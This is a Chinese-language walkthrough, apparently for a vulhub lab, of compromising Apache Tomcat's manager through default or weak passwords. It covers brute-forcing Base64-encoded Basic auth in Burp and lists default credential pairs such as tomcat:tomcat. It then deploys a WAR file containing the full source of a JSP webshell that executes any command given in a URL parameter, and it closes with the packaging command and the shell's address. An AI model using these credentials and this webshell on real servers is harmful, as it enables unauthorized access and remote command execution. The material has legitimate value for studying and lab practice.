漏洞条件
- Tomcat
- 管理员使用默认或者弱密码
漏洞原理
在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台。Tomcat后台提供war包部署功能,实现上传webshell。
漏洞利用
使用vulhub环境即可,启动容器后直接访问即可看到Tomcat初始页。
点击右边的manager app 按钮或者host manager即可登陆到tomcat后台。
此时我们先尝试使用账号密码admin/admin进行登陆,通过Burp查看发送的内容
可以看到tomcat后台登陆的方式是在HTTP的头部增加一个Authorization字段,然后账号和密码是以username:password
的形式拼接后再进行Base64编码进行传输。当验证失败的时候回返回401状态码。
这样一来就可以尝试对密码进行爆破,使用github上找的字典fuzz-security/SuperWordlist ,里面又tomcat的账密字典,然后把中间的空格替换为:
。剩下的操作为在Burp中为字典进行Base64编码,并且把最后的对字符进行URL编码取消即可。
但是tomcat默认会有用户锁定机制,当一个用户连续输入密码错误5次时就会锁定该用户,在一段时间内登陆不了
20-Jul-2022 08:51:42.677 WARNING [http-apr-8080-exec-1] org.apache.catalina.realm.LockOutRealm.filterLockedAccounts An attempt was made to authenticate the locked user "tomcat"
所以一般情况下先尝试用默认密码进行登陆:
tomcat:tomcat
both:tomcat
role1:tomcat
admin:
admin:password
admin:admin
这里的环境就是 tomcat:tomcat
登陆后找到这里有一个上传war包的地方,这里很多java的中间件都可以用war远程部署来拿shell,tomcat也不例外
这里简单使用一个回显shell进行演示
<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
然后使用命令将jsp打包为war包:
jar -cvf test.war .
上传后即可看到目录
访问:
http://ip:8080/test/shell.jsp